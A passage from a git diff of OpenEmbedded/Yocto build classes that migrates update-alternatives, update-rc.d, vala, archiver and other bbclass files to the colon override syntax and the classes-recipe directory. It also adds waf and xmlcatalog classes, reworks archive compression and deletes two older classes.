+# ALTERNATIVE:<pkg> = "name1 name2 name3 ..."
#
-# i.e. ALTERNATIVE_busybox = "sh sed test bracket"
+# i.e. ALTERNATIVE:busybox = "sh sed test bracket"
#
# The pathname of the link
# ALTERNATIVE_LINK_NAME[name] = "target"
@@ -29,7 +35,7 @@
# A non-default link to create for a target
# ALTERNATIVE_TARGET[name] = "target"
#
-# This is the name of the binary as it's been install by do_install
+# This is the name of the binary as it's been installed by do_install
# i.e. ALTERNATIVE_TARGET[sh] = "/bin/bash"
#
# A package specific link for a target
@@ -62,7 +68,7 @@ ALTERNATIVE_PRIORITY = "10"
# We need special processing for vardeps because it can not work on
# modified flag values. So we aggregate the flags into a new variable
-# and include that vairable in the set.
+# and include that variable in the set.
UPDALTVARS = "ALTERNATIVE ALTERNATIVE_LINK_NAME ALTERNATIVE_TARGET ALTERNATIVE_PRIORITY"
PACKAGE_WRITE_DEPS += "virtual/update-alternatives-native"
@@ -80,10 +86,10 @@ def gen_updatealternativesvardeps(d):
for p in pkgs:
for v in vars:
- for flag in sorted((d.getVarFlags("%s_%s" % (v,p)) or {}).keys()):
+ for flag in sorted((d.getVarFlags("%s:%s" % (v,p)) or {}).keys()):
if flag == "doc" or flag == "vardeps" or flag == "vardepsexp":
continue
- d.appendVar('%s_VARDEPS_%s' % (v,p), ' %s:%s' % (flag, d.getVarFlag('%s_%s' % (v,p), flag, False)))
+ d.appendVar('%s_VARDEPS_%s' % (v,p), ' %s:%s' % (flag, d.getVarFlag('%s:%s' % (v,p), flag, False)))
def ua_extend_depends(d):
if not 'virtual/update-alternatives' in d.getVar('PROVIDES'):
@@ -123,7 +129,7 @@ def gen_updatealternativesvars(d):
for p in pkgs:
for v in vars:
- ret.append(v + "_" + p)
+ ret.append(v + ":" + p)
ret.append(v + "_VARDEPS_" + p)
return " ".join(ret)
@@ -141,10 +147,10 @@ python apply_update_alternative_renames () {
import re
def update_files(alt_target, alt_target_rename, pkg, d):
- f = d.getVar('FILES_' + pkg)
+ f = d.getVar('FILES:' + pkg)
if f:
f = re.sub(r'(^|\s)%s(\s|$)' % re.escape (alt_target), r'\1%s\2' % alt_target_rename, f)
- d.setVar('FILES_' + pkg, f)
+ d.setVar('FILES:' + pkg, f)
# Check for deprecated usage...
pn = d.getVar('BPN')
@@ -156,7 +162,7 @@ python apply_update_alternative_renames () {
for pkg in (d.getVar('PACKAGES') or "").split():
# If the src == dest, we know we need to rename the dest by appending ${BPN}
link_rename = []
- for alt_name in (d.getVar('ALTERNATIVE_%s' % pkg) or "").split():
+ for alt_name in (d.getVar('ALTERNATIVE:%s' % pkg) or "").split():
alt_link = d.getVarFlag('ALTERNATIVE_LINK_NAME', alt_name)
if not alt_link:
alt_link = "%s/%s" % (d.getVar('bindir'), alt_name)
@@ -184,7 +190,7 @@ python apply_update_alternative_renames () {
link_rename.append((alt_target, alt_target_rename))
else:
bb.note('%s: Rename %s -> %s' % (pn, alt_target, alt_target_rename))
- os.rename(src, dest)
+ bb.utils.rename(src, dest)
update_files(alt_target, alt_target_rename, pkg, d)
else:
bb.warn("%s: alternative target (%s or %s) does not exist, skipping..." % (pn, alt_target, alt_target_rename))
@@ -201,7 +207,7 @@ python apply_update_alternative_renames () {
if os.path.lexists(link_target):
# Ok, the link_target exists, we can rename
bb.note('%s: Rename (link) %s -> %s' % (pn, alt_target, alt_target_rename))
- os.rename(src, dest)
+ bb.utils.rename(src, dest)
else:
# Try to resolve the broken link to link.${BPN}
link_maybe = '%s.%s' % (os.readlink(src), pn)
@@ -233,7 +239,7 @@ def update_alternatives_alt_targets(d, pkg):
pn = d.getVar('BPN')
pkgdest = d.getVar('PKGD')
updates = list()
- for alt_name in (d.getVar('ALTERNATIVE_%s' % pkg) or "").split():
+ for alt_name in (d.getVar('ALTERNATIVE:%s' % pkg) or "").split():
alt_link = d.getVarFlag('ALTERNATIVE_LINK_NAME', alt_name)
alt_target = d.getVarFlag('ALTERNATIVE_TARGET_%s' % pkg, alt_name) or \
d.getVarFlag('ALTERNATIVE_TARGET', alt_name) or \
@@ -259,7 +265,7 @@ def update_alternatives_alt_targets(d, pkg):
return updates
-PACKAGESPLITFUNCS_prepend = "populate_packages_updatealternatives "
+PACKAGESPLITFUNCS =+ "populate_packages_updatealternatives"
python populate_packages_updatealternatives () {
if not update_alternatives_enabled(d):
@@ -280,24 +286,24 @@ python populate_packages_updatealternatives () {
provider = d.getVar('VIRTUAL-RUNTIME_update-alternatives')
if provider:
#bb.note('adding runtime requirement for update-alternatives for %s' % pkg)
- d.appendVar('RDEPENDS_%s' % pkg, ' ' + d.getVar('MLPREFIX', False) + provider)
+ d.appendVar('RDEPENDS:%s' % pkg, ' ' + d.getVar('MLPREFIX', False) + provider)
bb.note('adding update-alternatives calls to postinst/prerm for %s' % pkg)
bb.note('%s' % alt_setup_links)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if postinst:
postinst = alt_setup_links + postinst
else:
postinst = '#!/bin/sh\n' + alt_setup_links
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
bb.note('%s' % alt_remove_links)
- prerm = d.getVar('pkg_prerm_%s' % pkg) or '#!/bin/sh\n'
+ prerm = d.getVar('pkg_prerm:%s' % pkg) or '#!/bin/sh\n'
prerm += alt_remove_links
- d.setVar('pkg_prerm_%s' % pkg, prerm)
+ d.setVar('pkg_prerm:%s' % pkg, prerm)
}
-python package_do_filedeps_append () {
+python package_do_filedeps:append () {
if update_alternatives_enabled(d):
apply_update_alternative_provides(d)
}
@@ -307,7 +313,7 @@ def apply_update_alternative_provides(d):
pkgdest = d.getVar('PKGDEST')
for pkg in d.getVar('PACKAGES').split():
- for alt_name in (d.getVar('ALTERNATIVE_%s' % pkg) or "").split():
+ for alt_name in (d.getVar('ALTERNATIVE:%s' % pkg) or "").split():
alt_link = d.getVarFlag('ALTERNATIVE_LINK_NAME', alt_name)
alt_target = d.getVarFlag('ALTERNATIVE_TARGET_%s' % pkg, alt_name) or d.getVarFlag('ALTERNATIVE_TARGET', alt_name)
alt_target = alt_target or d.getVar('ALTERNATIVE_TARGET_%s' % pkg) or d.getVar('ALTERNATIVE_TARGET') or alt_link
@@ -321,7 +327,7 @@ def apply_update_alternative_provides(d):
# Add file provide
trans_target = oe.package.file_translate(alt_target)
- d.appendVar('FILERPROVIDES_%s_%s' % (trans_target, pkg), " " + alt_link)
- if not trans_target in (d.getVar('FILERPROVIDESFLIST_%s' % pkg) or ""):
- d.appendVar('FILERPROVIDESFLIST_%s' % pkg, " " + trans_target)
+ d.appendVar('FILERPROVIDES:%s:%s' % (trans_target, pkg), " " + alt_link)
+ if not trans_target in (d.getVar('FILERPROVIDESFLIST:%s' % pkg) or ""):
+ d.appendVar('FILERPROVIDESFLIST:%s' % pkg, " " + trans_target)
diff --git a/meta/classes/update-rc.d.bbclass b/meta/classes-recipe/update-rc.d.bbclass
index 1366fee653..a19e704741 100644
--- a/meta/classes/update-rc.d.bbclass
+++ b/meta/classes-recipe/update-rc.d.bbclass
@@ -1,11 +1,17 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
UPDATERCPN ?= "${PN}"
-DEPENDS_append_class-target = "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', ' update-rc.d initscripts', '', d)}"
+DEPENDS:append:class-target = "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', ' update-rc.d initscripts', '', d)}"
UPDATERCD = "update-rc.d"
-UPDATERCD_class-cross = ""
-UPDATERCD_class-native = ""
-UPDATERCD_class-nativesdk = ""
+UPDATERCD:class-cross = ""
+UPDATERCD:class-native = ""
+UPDATERCD:class-nativesdk = ""
INITSCRIPT_PARAMS ?= "defaults"
@@ -62,8 +68,8 @@ python __anonymous() {
update_rc_after_parse(d)
}
-PACKAGESPLITFUNCS_prepend = "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'populate_packages_updatercd ', '', d)}"
-PACKAGESPLITFUNCS_remove_class-nativesdk = "populate_packages_updatercd "
+PACKAGESPLITFUNCS =+ "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'populate_packages_updatercd', '', d)}"
+PACKAGESPLITFUNCS:remove:class-nativesdk = "populate_packages_updatercd"
populate_packages_updatercd[vardeps] += "updatercd_prerm updatercd_postrm updatercd_postinst"
populate_packages_updatercd[vardepsexclude] += "OVERRIDES"
@@ -78,7 +84,7 @@ python populate_packages_updatercd () {
statement = "grep -q -w '/etc/init.d/functions' %s" % path
if subprocess.call(statement, shell=True) == 0:
mlprefix = d.getVar('MLPREFIX') or ""
- d.appendVar('RDEPENDS_' + pkg, ' %sinitd-functions' % (mlprefix))
+ d.appendVar('RDEPENDS:' + pkg, ' %sinitd-functions' % (mlprefix))
def update_rcd_package(pkg):
bb.debug(1, 'adding update-rc.d calls to postinst/prerm/postrm for %s' % pkg)
@@ -89,25 +95,25 @@ python populate_packages_updatercd () {
update_rcd_auto_depend(pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += localdata.getVar('updatercd_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- prerm = d.getVar('pkg_prerm_%s' % pkg)
+ prerm = d.getVar('pkg_prerm:%s' % pkg)
if not prerm:
prerm = '#!/bin/sh\n'
prerm += localdata.getVar('updatercd_prerm')
- d.setVar('pkg_prerm_%s' % pkg, prerm)
+ d.setVar('pkg_prerm:%s' % pkg, prerm)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += localdata.getVar('updatercd_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
- d.appendVar('RRECOMMENDS_' + pkg, " ${MLPREFIX}${UPDATERCD}")
+ d.appendVar('RRECOMMENDS:' + pkg, " ${MLPREFIX}${UPDATERCD}")
# Check that this class isn't being inhibited (generally, by
# systemd.bbclass) before doing any work.
diff --git a/meta/classes/upstream-version-is-even.bbclass b/meta/classes-recipe/upstream-version-is-even.bbclass
index 256c752423..19587cb12c 100644
--- a/meta/classes/upstream-version-is-even.bbclass
+++ b/meta/classes-recipe/upstream-version-is-even.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# This class ensures that the upstream version check only
# accepts even minor versions (i.e. 3.0.x, 3.2.x, 3.4.x, etc.)
# This scheme is used by Gnome and a number of other projects
diff --git a/meta/classes/vala.bbclass b/meta/classes-recipe/vala.bbclass
index bcaf68c5a7..460ddb36f0 100644
--- a/meta/classes/vala.bbclass
+++ b/meta/classes-recipe/vala.bbclass
@@ -1,9 +1,15 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Everyone needs vala-native and targets need vala, too,
# because that is where target builds look for .vapi files.
#
VALADEPENDS = ""
-VALADEPENDS_class-target = "vala"
-DEPENDS_append = " vala-native ${VALADEPENDS}"
+VALADEPENDS:class-target = "vala"
+DEPENDS:append = " vala-native ${VALADEPENDS}"
# Our patched version of Vala looks in STAGING_DATADIR for .vapi files
export STAGING_DATADIR
@@ -11,7 +17,7 @@ export STAGING_DATADIR
export XDG_DATA_DIRS = "${STAGING_DATADIR}:${STAGING_LIBDIR}"
# Package additional files
-FILES_${PN}-dev += "\
+FILES:${PN}-dev += "\
${datadir}/vala/vapi/*.vapi \
${datadir}/vala/vapi/*.deps \
${datadir}/gir-1.0 \
@@ -19,6 +25,6 @@ FILES_${PN}-dev += "\
# Remove vapigen.m4 that is bundled with tarballs
# because it does not yet have our cross-compile fixes
-do_configure_prepend() {
+do_configure:prepend() {
rm -f ${S}/m4/vapigen.m4
}
diff --git a/meta/classes-recipe/waf.bbclass b/meta/classes-recipe/waf.bbclass
new file mode 100644
index 0000000000..01707c8e2c
--- /dev/null
+++ b/meta/classes-recipe/waf.bbclass
@@ -0,0 +1,94 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# avoids build breaks when using no-static-libs.inc
+DISABLE_STATIC = ""
+
+# What Python interpretter to use. Defaults to Python 3 but can be
+# overridden if required.
+WAF_PYTHON ?= "python3"
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] += "${B}"
+
+EXTRA_OECONF:append = " ${PACKAGECONFIG_CONFARGS}"
+
+EXTRA_OEWAF_BUILD ??= ""
+# In most cases, you want to pass the same arguments to `waf build` and `waf
+# install`, but you can override it if necessary
+EXTRA_OEWAF_INSTALL ??= "${EXTRA_OEWAF_BUILD}"
+
+def waflock_hash(d):
+ # Calculates the hash used for the waf lock file. This should include
+ # all of the user controllable inputs passed to waf configure. Note
+ # that the full paths for ${B} and ${S} are used; this is OK and desired
+ # because a change to either of these should create a unique lock file
+ # to prevent collisions.
+ import hashlib
+ h = hashlib.sha512()
+ def update(name):
+ val = d.getVar(name)
+ if val is not None:
+ h.update(val.encode('utf-8'))
+ update('S')
+ update('B')
+ update('prefix')
+ update('EXTRA_OECONF')
+ return h.hexdigest()
+
+# Use WAFLOCK to specify a separate lock file. The build is already
+# sufficiently isolated by setting the output directory, this ensures that
+# bitbake won't step on toes of any other configured context in the source
+# directory (e.g. if the source is coming from externalsrc and was previously
+# configured elsewhere).
+export WAFLOCK = ".lock-waf_oe_${@waflock_hash(d)}_build"
+BB_BASEHASH_IGNORE_VARS += "WAFLOCK"
+
+python waf_preconfigure() {
+ import subprocess
+ subsrcdir = d.getVar('S')
+ python = d.getVar('WAF_PYTHON')
+ wafbin = os.path.join(subsrcdir, 'waf')
+ try:
+ result = subprocess.check_output([python, wafbin, '--version'], cwd=subsrcdir, stderr=subprocess.STDOUT)
+ # Output looks like:
+ # # output from lower modules (e.g. warnings, ...)
+ # waf X.Y.Z ...
+ # So, look for the line starting with "waf "
+ version = None
+ for line in result.decode('utf-8').split("\n"):
+ if line.startswith("waf "):
+ version = line.split()[1]
+ break
+
+ if not version or not bb.utils.is_semver(version):
+ bb.warn("Unable to parse \"waf --version\" output. Assuming waf version without bindir/libdir support.")
+ bb.warn("waf·--version·output = \n%s" % result.decode('utf-8'))
+ elif bb.utils.vercmp_string_op(version, "1.8.7", ">="):
+ bb.note("waf version is high enough to add --bindir and --libdir")
+ d.setVar("WAF_EXTRA_CONF", "--bindir=${bindir} --libdir=${libdir}")
+ except subprocess.CalledProcessError as e:
+ bb.warn("Unable to execute waf --version, exit code %d. Assuming waf version without bindir/libdir support." % e.returncode)
+ except FileNotFoundError:
+ bb.fatal("waf does not exist in %s" % subsrcdir)
+}
+
+do_configure[prefuncs] += "waf_preconfigure"
+
+waf_do_configure() {
+ (cd ${S} && ${WAF_PYTHON} ./waf configure -o ${B} --prefix=${prefix} ${WAF_EXTRA_CONF} ${EXTRA_OECONF})
+}
+
+do_compile[progress] = "outof:^\[\s*(\d+)/\s*(\d+)\]\s+"
+waf_do_compile() {
+ (cd ${S} && ${WAF_PYTHON} ./waf build ${@oe.utils.parallel_make_argument(d, '-j%d', limit=64)} ${EXTRA_OEWAF_BUILD})
+}
+
+waf_do_install() {
+ (cd ${S} && ${WAF_PYTHON} ./waf install --destdir=${D} ${EXTRA_OEWAF_INSTALL})
+}
+
+EXPORT_FUNCTIONS do_configure do_compile do_install
diff --git a/meta/classes-recipe/xmlcatalog.bbclass b/meta/classes-recipe/xmlcatalog.bbclass
new file mode 100644
index 0000000000..d3ef7ff43c
--- /dev/null
+++ b/meta/classes-recipe/xmlcatalog.bbclass
@@ -0,0 +1,36 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Note that this recipe only handles XML catalogues in the native sysroot, and doesn't
+# yet support catalogue management in the target sysroot or on the target itself.
+# (https://bugzilla.yoctoproject.org/13271)
+
+# A whitespace-separated list of XML catalogs to be registered, for example
+# "${sysconfdir}/xml/docbook-xml.xml".
+XMLCATALOGS ?= ""
+
+DEPENDS:append = " libxml2-native"
+
+SYSROOT_PREPROCESS_FUNCS:append:class-native = " xmlcatalog_sstate_postinst"
+
+xmlcatalog_complete() {
+ ROOTCATALOG="${STAGING_ETCDIR_NATIVE}/xml/catalog"
+ if [ ! -f $ROOTCATALOG ]; then
+ mkdir --parents $(dirname $ROOTCATALOG)
+ xmlcatalog --noout --create $ROOTCATALOG
+ fi
+ for CATALOG in ${XMLCATALOGS}; do
+ xmlcatalog --noout --add nextCatalog unused file://$CATALOG $ROOTCATALOG
+ done
+}
+
+xmlcatalog_sstate_postinst() {
+ mkdir -p ${SYSROOT_DESTDIR}${bindir}
+ dest=${SYSROOT_DESTDIR}${bindir}/postinst-${PN}-xmlcatalog
+ echo '#!/bin/sh' > $dest
+ echo '${xmlcatalog_complete}' >> $dest
+ chmod 0755 $dest
+}
diff --git a/meta/classes/archiver.bbclass b/meta/classes/archiver.bbclass
index aff1f9dbb0..2d0bbfbd42 100644
--- a/meta/classes/archiver.bbclass
+++ b/meta/classes/archiver.bbclass
@@ -1,11 +1,15 @@
-# ex:ts=4:sw=4:sts=4:et
-# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
#
# This bbclass is used for creating archive for:
# 1) original (or unpacked) source: ARCHIVER_MODE[src] = "original"
# 2) patched source: ARCHIVER_MODE[src] = "patched" (default)
# 3) configured source: ARCHIVER_MODE[src] = "configured"
-# 4) source mirror: ARCHIVE_MODE[src] = "mirror"
+# 4) source mirror: ARCHIVER_MODE[src] = "mirror"
# 5) The patches between do_unpack and do_patch:
# ARCHIVER_MODE[diff] = "1"
# And you can set the one that you'd like to exclude from the diff:
@@ -51,55 +55,66 @@ ARCHIVER_MODE[diff-exclude] ?= ".pc autom4te.cache patches"
ARCHIVER_MODE[dumpdata] ?= "0"
ARCHIVER_MODE[recipe] ?= "0"
ARCHIVER_MODE[mirror] ?= "split"
+ARCHIVER_MODE[compression] ?= "xz"
DEPLOY_DIR_SRC ?= "${DEPLOY_DIR}/sources"
-ARCHIVER_TOPDIR ?= "${WORKDIR}/deploy-sources"
-ARCHIVER_OUTDIR = "${ARCHIVER_TOPDIR}/${TARGET_SYS}/${PF}/"
+ARCHIVER_TOPDIR ?= "${WORKDIR}/archiver-sources"
+ARCHIVER_ARCH = "${TARGET_SYS}"
+ARCHIVER_OUTDIR = "${ARCHIVER_TOPDIR}/${ARCHIVER_ARCH}/${PF}/"
ARCHIVER_RPMTOPDIR ?= "${WORKDIR}/deploy-sources-rpm"
-ARCHIVER_RPMOUTDIR = "${ARCHIVER_RPMTOPDIR}/${TARGET_SYS}/${PF}/"
+ARCHIVER_RPMOUTDIR = "${ARCHIVER_RPMTOPDIR}/${ARCHIVER_ARCH}/${PF}/"
ARCHIVER_WORKDIR = "${WORKDIR}/archiver-work/"
# When producing a combined mirror directory, allow duplicates for the case
# where multiple recipes use the same SRC_URI.
ARCHIVER_COMBINED_MIRRORDIR = "${ARCHIVER_TOPDIR}/mirror"
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_SRC}/mirror"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_SRC}/mirror"
do_dumpdata[dirs] = "${ARCHIVER_OUTDIR}"
do_ar_recipe[dirs] = "${ARCHIVER_OUTDIR}"
do_ar_original[dirs] = "${ARCHIVER_OUTDIR} ${ARCHIVER_WORKDIR}"
-do_deploy_archives[dirs] = "${WORKDIR}"
# This is a convenience for the shell script to use it
-
-python () {
- pn = d.getVar('PN')
- assume_provided = (d.getVar("ASSUME_PROVIDED") or "").split()
- if pn in assume_provided:
- for p in d.getVar("PROVIDES").split():
- if p != pn:
- pn = p
- break
+def include_package(d, pn):
included, reason = copyleft_should_include(d)
if not included:
bb.debug(1, 'archiver: %s is excluded: %s' % (pn, reason))
- return
+ return False
+
else:
bb.debug(1, 'archiver: %s is included: %s' % (pn, reason))
-
# glibc-locale: do_fetch, do_unpack and do_patch tasks have been deleted,
# so avoid archiving source here.
if pn.startswith('glibc-locale'):
- return
+ return False
# We just archive gcc-source for all the gcc related recipes
if d.getVar('BPN') in ['gcc', 'libgcc'] \
and not pn.startswith('gcc-source'):
bb.debug(1, 'archiver: %s is excluded, covered by gcc-source' % pn)
+ return False
+
+ return True
+
+python () {
+ pn = d.getVar('PN')
+ assume_provided = (d.getVar("ASSUME_PROVIDED") or "").split()
+ if pn in assume_provided:
+ for p in d.getVar("PROVIDES").split():
+ if p != pn:
+ pn = p
+ break
+
+ if not include_package(d, pn):
return
+ # TARGET_SYS in ARCHIVER_ARCH will break the stamp for gcc-source in multiconfig
+ if pn.startswith('gcc-source'):
+ d.setVar('ARCHIVER_ARCH', "allarch")
+
def hasTask(task):
return bool(d.getVarFlag(task, "task", False)) and not bool(d.getVarFlag(task, "noexec", False))
@@ -118,7 +133,7 @@ python () {
d.appendVarFlag('do_deploy_archives', 'depends', ' %s:do_ar_patched' % pn)
elif ar_src == "configured":
# We can't use "addtask do_ar_configured after do_configure" since it
- # will cause the deptask of do_populate_sysroot to run not matter what
+ # will cause the deptask of do_populate_sysroot to run no matter what
# archives we need, so we add the depends here.
# There is a corner case with "gcc-source-${PV}" recipes, they don't have
@@ -163,7 +178,7 @@ python () {
d.appendVarFlag('do_package_write_rpm', 'depends', ' %s:do_ar_configured' % pn)
}
-# Take all the sources for a recipe and puts them in WORKDIR/archiver-work/.
+# Take all the sources for a recipe and put them in WORKDIR/archiver-work/.
# Files in SRC_URI are copied directly, anything that's a directory
# (e.g. git repositories) is "unpacked" and then put into a tarball.
python do_ar_original() {
@@ -281,7 +296,10 @@ python do_ar_configured() {
# ${STAGING_DATADIR}/aclocal/libtool.m4, so we can't re-run the
# do_configure, we archive the already configured ${S} to
# instead of.
- elif pn != 'libtool-native':
+ # The kernel class functions require it to be on work-shared, we
+ # don't unpack, patch, configure again, just archive the already
+ # configured ${S}
+ elif not (pn == 'libtool-native' or is_work_shared(d)):
def runTask(task):
prefuncs = d.getVarFlag(task, 'prefuncs') or ''
for func in prefuncs.split():
@@ -383,19 +401,11 @@ python do_ar_mirror() {
subprocess.check_call(cmd, shell=True)
}
-def exclude_useless_paths(tarinfo):
- if tarinfo.isdir():
- if tarinfo.name.endswith('/temp') or tarinfo.name.endswith('/patches') or tarinfo.name.endswith('/.pc'):
- return None
- elif tarinfo.name == 'temp' or tarinfo.name == 'patches' or tarinfo.name == '.pc':
- return None
- return tarinfo
-
def create_tarball(d, srcdir, suffix, ar_outdir):
"""
create the tarball from srcdir
"""
- import tarfile
+ import subprocess
# Make sure we are only creating a single tarball for gcc sources
if (d.getVar('SRC_URI') == ""):
@@ -406,17 +416,30 @@ def create_tarball(d, srcdir, suffix, ar_outdir):
# that we archive the actual directory and not just the link.
srcdir = os.path.realpath(srcdir)
+ compression_method = d.getVarFlag('ARCHIVER_MODE', 'compression')
+ if compression_method == "xz":
+ compression_cmd = "xz %s" % d.getVar('XZ_DEFAULTS')
+ # To keep compatibility with ARCHIVER_MODE[compression]
+ elif compression_method == "gz":
+ compression_cmd = "gzip"
+ elif compression_method == "bz2":
+ compression_cmd = "bzip2"
+ else:
+ bb.fatal("Unsupported compression_method: %s" % compression_method)
+
bb.utils.mkdirhier(ar_outdir)
if suffix:
- filename = '%s-%s.tar.gz' % (d.getVar('PF'), suffix)
+ filename = '%s-%s.tar.%s' % (d.getVar('PF'), suffix, compression_method)
else:
- filename = '%s.tar.gz' % d.getVar('PF')
+ filename = '%s.tar.%s' % (d.getVar('PF'), compression_method)
tarname = os.path.join(ar_outdir, filename)
bb.note('Creating %s' % tarname)
- tar = tarfile.open(tarname, 'w:gz')
- tar.add(srcdir, arcname=os.path.basename(srcdir), filter=exclude_useless_paths)
- tar.close()
+ dirname = os.path.dirname(srcdir)
+ basename = os.path.basename(srcdir)
+ exclude = "--exclude=temp --exclude=patches --exclude='.pc'"
+ tar_cmd = "tar %s -cf - %s | %s > %s" % (exclude, basename, compression_cmd, tarname)
+ subprocess.check_call(tar_cmd, cwd=dirname, shell=True)
# creating .diff.gz between source.orig and source
def create_diff_gz(d, src_orig, src, ar_outdir):
@@ -449,8 +472,8 @@ def create_diff_gz(d, src_orig, src, ar_outdir):
os.chdir(cwd)
def is_work_shared(d):
- pn = d.getVar('PN')
- return bb.data.inherits_class('kernel', d) or pn.startswith('gcc-source')
+ sharedworkdir = os.path.join(d.getVar('TMPDIR'), 'work-shared')
+ return d.getVar('S').startswith(sharedworkdir)
# Run do_unpack and do_patch
python do_unpack_and_patch() {
@@ -463,7 +486,7 @@ python do_unpack_and_patch() {
ar_sysroot_native = d.getVar('STAGING_DIR_NATIVE')
pn = d.getVar('PN')
- # The kernel class functions require it to be on work-shared, so we dont change WORKDIR
+ # The kernel class functions require it to be on work-shared, so we don't change WORKDIR
if not is_work_shared(d):
# Change the WORKDIR to make do_unpack do_patch run in another dir.
d.setVar('WORKDIR', ar_workdir)
@@ -483,6 +506,9 @@ python do_unpack_and_patch() {
src_orig = '%s.orig' % src
oe.path.copytree(src, src_orig)
+ if bb.data.inherits_class('dos2unix', d):
+ bb.build.exec_func('do_convert_crlf_to_lf', d)
+
# Make sure gcc and kernel sources are patched only once
if not (d.getVar('SRC_URI') == "" or is_work_shared(d)):
bb.build.exec_func('do_patch', d)
@@ -505,7 +531,7 @@ python do_unpack_and_patch() {
# of the output file ensures that we create it each time the recipe
# gets rebuilt, at least as long as a PR server is used. We also rely
# on that mechanism to catch changes in the file content, because the
-# file content is not part of of the task signature either.
+# file content is not part of the task signature either.
do_ar_recipe[vardepsexclude] += "BBINCLUDED"
python do_ar_recipe () {
"""
@@ -571,7 +597,7 @@ python do_dumpdata () {
SSTATETASKS += "do_deploy_archives"
do_deploy_archives () {
- echo "Deploying source archive files from ${ARCHIVER_TOPDIR} to ${DEPLOY_DIR_SRC}."
+ bbnote "Deploying source archive files from ${ARCHIVER_TOPDIR} to ${DEPLOY_DIR_SRC}."
}
python do_deploy_archives_setscene () {
sstate_setscene(d)
@@ -590,6 +616,7 @@ addtask do_dumpdata
addtask do_ar_recipe
addtask do_deploy_archives
do_build[recrdeptask] += "do_deploy_archives"
+do_rootfs[recrdeptask] += "do_deploy_archives"
do_populate_sdk[recrdeptask] += "do_deploy_archives"
python () {
diff --git a/meta/classes/autotools-brokensep.bbclass b/meta/classes/autotools-brokensep.bbclass
deleted file mode 100644
index 71cf97a391..0000000000
--- a/meta/classes/autotools-brokensep.bbclass
+++ /dev/null
@@ -1,5 +0,0 @@
-# Autotools class for recipes where separate build dir doesn't work
-# Ideally we should fix software so it does work. Standard autotools supports
-# this.
-inherit autotools
-B = "${S}"
diff --git a/meta/classes/baremetal-image.bbclass b/meta/classes/baremetal-image.bbclass
deleted file mode 100644
index 90d58f2615..0000000000
--- a/meta/classes/baremetal-image.bbclass
+++ /dev/null
@@ -1,99 +0,0 @@
-# Baremetal image class
-#
-# This class is meant to be inherited by recipes for baremetal/RTOS applications
-# It contains code that would be used by all of them, every recipe just needs to
-# override certain variables.
-#
-# For scalability purposes, code within this class focuses on the "image" wiring
-# to satisfy the OpenEmbedded image creation and testing infrastructure.
-#
-# See meta-skeleton for a working example.
-
-
-# Toolchain should be baremetal or newlib based.
-# TCLIBC="baremetal" or TCLIBC="newlib"
-COMPATIBLE_HOST_libc-musl_class-target = "null"
-COMPATIBLE_HOST_libc-glibc_class-target = "null"
-
-
-inherit rootfs-postcommands
-
-# Set some defaults, but these should be overriden by each recipe if required
-IMGDEPLOYDIR ?= "${WORKDIR}/deploy-${PN}-image-complete"
-BAREMETAL_BINNAME ?= "hello_baremetal_${MACHINE}"
-IMAGE_LINK_NAME ?= "baremetal-helloworld-image-${MACHINE}"
-IMAGE_NAME_SUFFIX ?= ""
-
-do_rootfs[dirs] = "${IMGDEPLOYDIR} ${DEPLOY_DIR_IMAGE}"
-
-do_image(){
- install ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin ${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.bin
- install ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf ${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.elf
-}
-
-do_image_complete(){
- :
-}
-
-python do_rootfs(){
- from oe.utils import execute_pre_post_process
- from pathlib import Path
-
- # Write empty manifest file to satisfy test infrastructure
- deploy_dir = d.getVar('IMGDEPLOYDIR')
- link_name = d.getVar('IMAGE_LINK_NAME')
- manifest_name = d.getVar('IMAGE_MANIFEST')
-
- Path(manifest_name).touch()
- if os.path.exists(manifest_name) and link_name:
- manifest_link = deploy_dir + "/" + link_name + ".manifest"
- if os.path.lexists(manifest_link):
- os.remove(manifest_link)
- os.symlink(os.path.basename(manifest_name), manifest_link)
- execute_pre_post_process(d, d.getVar('ROOTFS_POSTPROCESS_COMMAND'))
-}
-
-
-# Assure binaries, manifest and qemubootconf are populated on DEPLOY_DIR_IMAGE
-do_image_complete[dirs] = "${TOPDIR}"
-do_image_complete[umask] = "022"
-SSTATETASKS += "do_image_complete"
-SSTATE_SKIP_CREATION_task-image-complete = '1'
-do_image_complete[sstate-inputdirs] = "${IMGDEPLOYDIR}"
-do_image_complete[sstate-outputdirs] = "${DEPLOY_DIR_IMAGE}"
-do_image_complete[stamp-extra-info] = "${MACHINE_ARCH}"
-addtask do_image_complete after do_image before do_build
-
